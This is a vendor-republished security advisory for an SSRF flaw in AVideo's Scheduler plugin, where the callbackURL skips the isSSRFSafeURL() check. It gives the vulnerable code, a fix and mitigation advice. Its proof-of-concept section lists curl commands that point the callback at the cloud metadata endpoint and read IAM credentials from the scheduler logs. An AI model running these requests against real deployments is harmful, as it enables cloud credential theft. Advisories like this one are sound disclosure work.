GHSA-v467-g7g7-hhfh is a medium-severity (CVSS 5.5) Server-Side Request Forgery (SSRF) vulnerability in wwbn/avideo. O3 Security confirms whether GHSA-v467-g7g7-hhfh is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Scheduler plugin's run() function in plugin/Scheduler/Scheduler.php calls url_get_contents() with an admin-configurable callbackURL that is validated only by isValidURL() (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through isSSRFSafeURL(), which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network callbackURL to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.
Details
The vulnerable code is at plugin/Scheduler/Scheduler.php:157-166:
// Line 157: callback URL retrieved and site-root token substituted
$callBackURL = $e->getCallbackURL();
$callBackURL = str_replace('$SITE_ROOT_TOKEN', $global['webSiteRootURL'], $callBackURL);
if (!isValidURL($callBackURL)) {
return false;
}
// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)
// The critical missing check is:
// if (!isSSRFSafeURL($callBackURL)) { return false; }
if (empty($_executeSchelude[$callBackURL])) {
$_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);
isValidURL() in objects/functions.php uses filter_var($url, FILTER_VALIDATE_URL) — it validates URL syntax only and does not block internal/private network targets.
isSSRFSafeURL() in objects/functions.php:4021 explicitly blocks:
127.x.x.x/::1(loopback)10.x.x.x,172.16-31.x.x,192.168.x.x(RFC-1918 private)169.254.x.x(link-local, including AWS/GCP metadata at169.254.169.254)- IPv6 private ranges
This function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit 0e5638292) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.
An admin can configure the callbackURL for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the "Run now" interface.
PoC
# Step 1: Authenticate as admin
# Step 2: Create a scheduled task with cloud metadata SSRF callback
curl -b "admin_session=<session>" -X POST \
https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \
-d "callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&status=a&type=&date_to_execute=2026-03-18+12:00:00"
# Step 3: Trigger immediate execution via Scheduler run endpoint
curl -b "admin_session=<session>" \
https://target.avideo.site/plugin/Scheduler/run.php
# Step 4: Read the scheduler execution logs
curl -b "admin_session=<session>" \
https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php
# Response includes the AWS metadata API response with IAM role credentials
Expected: Internal network addresses rejected before HTTP request is made.
Actual: The server makes an HTTP request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the response (including AWS IAM role credentials) is stored in the scheduler execution log.
Impact
- Cloud credential theft: On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (
169.254.169.254), potentially enabling privilege escalation within the cloud environment. - Internal service probing: The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.
- Incomplete patch amplification: The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added
isSSRFSafeURL()to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path. - Blast radius: Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access.
Recommended Fix
Add isSSRFSafeURL() validation to the Scheduler callback URL before url_get_contents() is called, consistent with the existing SSRF fixes in plugin/LiveLinks/proxy.php and objects/aVideoEncoder.json.php:
$callBackURL = $e->getCallbackURL();
if (!isValidURL($callBackURL)) {
return false;
}
// Add this SSRF check — same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw):
if (!isSSRFSafeURL($callBackURL)) {
_error_log("Scheduler::run SSRF protection blocked callbackURL: " . $callBackURL);
return false;
}
if (empty($_executeSchelude[$callBackURL])) {
$_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | 26.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update wwbn/avideo to 26.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v467-g7g7-hhfh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-v467-g7g7-hhfh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-v467-g7g7-hhfh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v467-g7g7-hhfh in your dependencies?
O3 detects GHSA-v467-g7g7-hhfh across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.